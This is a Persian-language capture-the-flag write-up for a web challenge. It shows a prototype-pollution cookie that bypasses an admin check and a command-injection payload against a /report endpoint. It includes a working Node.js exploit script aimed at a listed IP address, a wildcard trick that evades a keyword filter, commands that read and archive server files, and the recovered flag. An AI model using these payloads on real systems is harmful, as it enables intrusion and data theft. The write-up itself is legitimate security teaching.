چالش وب دوم - Red Hat

توضیحات

برو به سمت تهرون، میخوام برم تلویزیون

http://86.104.33.87:1335/

قالب پرچم در این سوال به صورت parcham{some-string} می‌باشد.

حل چالش

گام اول

به ما کد سوال و آدرس آن داده شده است. در سایت با مشخصات «نام» و «سرگذشت» و «کلید ادمین» (که اختیاری است و اگر مقدار خاصی باشد امکانات ویژه‌ای به کاربر داده می‌شود) می‌توان وارد شد. و بعد از وارد شدن می‌توان بین دو مجموعه‌ی دو گزینه‌ای انتخاب کرد.

اطلاعات تعداد انتخاب ها در redis و با استفاده از pfadd و pfcount نگه‌داری می‌شود. در صورتی که کلید ادمین با مقداری که در فایل secret قرار گرفته است یکی باشد کاربر دسترسی admin دارد.

if (session.key === adminKey) {
    session.isAdmin = true;
}

که در آن صورت می‌تواند از /report استفاده کند. که به نظر می‌رسد یک کد python (که آن را نداریم) اجرا می‌کند.

app.get('/report', async (req, res) => {
    const session = getSession(req);
    if (session.isUser !== true) {
        res.json({});
        return;
    }
    if (session.isAdmin !== true) {
        res.json({});
        return;
    }

    console.log("Q", req.query);
    const {q = ''} = req.query;
    if (q.toLowerCase().includes('flag')) {
        res.json({});
        return;
    }

    let r = {};

    try {
        const s = await execAsync(`python ./report.py ${q}`);
        const {now, delay, type, a1, a2, a3} = JSON.parse(s);
        r = {now, delay, type, a1, a2, a3};
    } catch(e) {
    }

    res.json({data: r});
});

اما قبل از استفاده از آن نیاز به یک راه برای گرفتن دسترسی admin داریم.

گام دوم

برای فهمیدن راه‌حل نیاز است که کمی با مشخصات javascript بیشتر آشنا شویم. جاوا اسکریپت برای وراثت از پروتوتایپ‌ها استفاده می‌کند.
در اینترنت اطلاعات بیشتری در این مورد می‌توان پیدا کرد. (مثلاً این) ولی به طور خلاصه در این زبان هر object یک __proto__ دارد که مثل کلاس برای آن عمل می‌کند. یعنی وقتی obj.something را صدا می‌زنیم و something در خود obj نباشد در prototype آن به دنبال آن می‌گردد. و به همین شکل یک chain وراثت درست می‌شود. چند مثلا در کد زیر آمده است:

class C {}
let a = new C();
a.__proto__ == C.prototype; // true
class B extends C {}
let b = new B()
b.__proto__ == B.prototype; // true
b.__proto__.__proto__ == C.prototype; // true

در این حالت اگر __proto__ در یک object را بتوان دستکاری کرد، می‌توان رفتار آن object و حتی بعضی وقت‌ها رفتار شی‌ های دیگر را هم تغییر داد. (وقتی دو شی مختلف یک proto ی یکسان دارند). به این روش‌ها معمولاً Prototype Pollution گفته می‌شود. در کد زیر یک مثال از تغییر در رفتار یک شی در صورت تغییر __proto__ ی آن آمده است.

let a = {};
a.__proto__ = {hello: 10};
a.hello === 10; // true

حال با در نظر گرفتن این ویژگی دوباره به کد با دقت بیشتری نگاه می‌کنیم:

function copy(defaultObj, data, additional) {
    for (const key in data) {
        if (additional.includes(key) && typeof data[key] === 'string') {
            defaultObj[key] = data[key];
        } else if (defaultObj[key] != null && typeof defaultObj[key] === typeof data[key]) {
            defaultObj[key] = data[key];
        }
    }
}
function getSession(req) {
    const {cookie} = req.cookies;
    let session = {
        votes: [],
        bio: '',
    };

    ...

    try {
        const data = JSON.parse(cookie);
        copy(session, data, importantKeys);
    } catch(e) {
    }

    session.id = nanoid.nanoid();

    if (session.name != null) {
        session.isUser = true;
    }
    if (session.key === adminKey) {
        session.isAdmin = true;
    }

    return session;
}

در تابع copy از data به defaultObj در صورتی که کلید در defaultObj وجود داشته باشد مقداردهی شده. حال اگر مقدار‍ __proto__ را به عنوان کلید در نظر بگیریم می‌توانیم پروتوتایپ session را تغییر بدهیم. در آن صورت بدون کلید هم می‌توانیم session.isAdmin را true کنیم. مقدار cookie به صورت JSON است. پس راحت می‌توان آن را تغییر داد. برای اینکه بتوان به /report دسترسی پیدا کرد باید علاوه بر isAdmin مقدار isUser هم true باشد. پس کافی است یک name هم به آن بدهیم.

{"name": "hi", "__proto__": {"isAdmin": true}}

و با تغییر آن می‌توانیم به صفحه‌ی /report دسترسی پیدا کنیم.

گام سوم

حال می‌توانیم صفحه‌ی report را بررسی کنیم. وقتی این صفحه را باز می‌کنیم کمی طول می‌کشد و پاسخ زیر را دریافت می‌کنیم.

{"data":{"now":1608483902,"delay":2,"type":"","a1":10,"a2":20,"a3":[16, ..., 49,13,12]}}

اگر به کد این بخش با دقت بیشتری نگاه کنیم، متوجه می‌شویم که ورودی ما از query به صورت مستقیم exec می‌شود.

const s = await execAsync(`python ./report.py ${q}`);
const {now, delay, type, a1, a2, a3} = JSON.parse(s);

و در نتیجه code injection داریم. فقط در ورودی نباید از کلمه‌ی flag استفاده کنیم. و خروجی آن باید یک JSON با مقدارهای گفته شده باشد تا بتوانیم خروجی دستور inject شده را ببینید. دستور زیر از ورودی می‌خواند و در خروجی به شکل یک JSON چاپ می‌کند. حال اگر هر دستوری را به دستور زیر pipe کنیم می‌توانیم خروجی آن را دریافت کنیم.

node -e "fs = require('fs'); console.log(JSON.stringify({type: fs.readFileSync(0).toString('base64')}))"

حال کد زیر (با زبان javascript و با استفاده از node.js) را می‌نویسیم که در آن هر دستوری که در cmd قرار دهیم، آن را به سرور inject می‌کند و خروجی آن را چاپ میکند.

const fs = require('fs');
const needle = require('needle');
const assert = require('assert').strict;

const base = "http://86.104.33.87:1335";
async function curl(method, q, url) {
    const r = await needle(method, `${base}${url}`, {q}, {
        cookies: {
            cookie: '{"name": "hi", "__proto__": {"isAdmin": true}}',
        }
    });
    assert(r.statusCode === 200);
    return r.body;
}

async function main() {
    let cmd = "cat ./report.py";
    let q = `> /dev/null; ${cmd} | node -e "fs = require('fs'); console.log(JSON.stringify({type: fs.readFileSync(0).toString('base64')}))"`;
    const r = await curl("GET", q, "/report");
    const b = Buffer.from(r.data.type || "", 'base64');
    console.log(b.toString());
}

main();

با بررسی کد report.py، می‌فهمیم که با هر اجرا ۲ ثانیه صبر می‌کند (time.sleep(2)) ولی اگر ورودی دوم عدد نباشد خط count = int(sys.argv[2]) قبل از sleep دچار خطا شده و سریع تر اجرا می‌شود. حال سعی می‌کنیم دنبال فایل‌هایی با اسم نزدیک به flag در سیستم بگردیم. (چون خود flag را نمی‌توانیم وارد کنیم) و دو خط زیر را در کد بالا تغییر می‌دهیم.

    let cmd = "find / | grep fla";
    let q = `a a> /dev/null; ${cmd} | node -e "fs = require('fs'); console.log(JSON.stringify({type: fs.readFileSync(0).toString('base64')}))"`;

از خروجی متوجه می‌شویم که یک فایل به اسم /home/flag/flag وجود دارد. کد را به شکل زیر تغییر می‌دهیم تا کل پوشه‌ی /home/flag را دریافت کنیم. چون از کلمه‌ی flag در ورودی نمی‌توانیم استفاده کنیم آن را به شکل fl?g می‌نویسیم که در bash به معنی هر چیزی که این شکل وجود داشت است. (آن کاراکتر می‌تواند هر چیزی باشد)

    let cmd = "tar cvf - /home/fl?g";
    let q = `a a> /dev/null; ${cmd} | node -e "fs = require('fs'); console.log(JSON.stringify({type: fs.readFileSync(0).toString('base64')}))"`;
    const r = await curl("GET", q, "/report");
    const b = Buffer.from(r.data.type || "", 'base64');
    fs.writeFileSync("/tmp/flag.tar", b);

حال فایل‌های درون این پوشه را بررسی می‌کنیم:

$ tar xvf flag.tar
$ cd ./home/flag
$ ls -a
.  ..  flag  .git

فایل flag یک برنامه‌ی اجرایی است که یک پرچم ورودی می‌گیرد و با حساب کردن hash آن بررسی می‌کند که پرچم درست است یا نه و برای فهمیدن پرچم کافی نیست. اما میبینیم که یک پوشه‌ی .git هم وجود دارد. یعنی یک مخزن git داریم. با بررسی commit های مختلف در این git به مقدار پرچم می‌رسیم:

$ cat flag 
#!/bin/bash

A=`echo -n $1 | sha256sum | cut -d ' ' -f1`

if [[ "$A" = "4c5192622c62236f8914d3a38c9dc591697a6716b313ae4aec198690491bcc9c" ]]; then
    echo "yeah!"
fi


$ git log
commit 68257ad03baddc7efb1a3caa3a5ae9c889850ec6 (HEAD -> master)
Author: My Name <you@example.com>
Date:   Mon Nov 23 20:12:33 2020 +0000

    Fix code

commit 0a0abab9196688f1b051109d921ec282b9d8d36f
Author: My Name <you@example.com>
Date:   Mon Nov 23 20:11:28 2020 +0000

    Initial commit

$ git checkout 0a0abab9196688f1b051109d921ec282b9d8d36f
$ cat flag 
#!/bin/bash

if [[ "$1" = "parcham{a89435e3b87f62a853dab6ac622857691a6a5f7f0f88ab976c69486e077d8970}" ]]; then
    echo "yeah!"
fi

پرچم:

parcham{a89435e3b87f62a853dab6ac622857691a6a5f7f0f88ab976c69486e077d8970}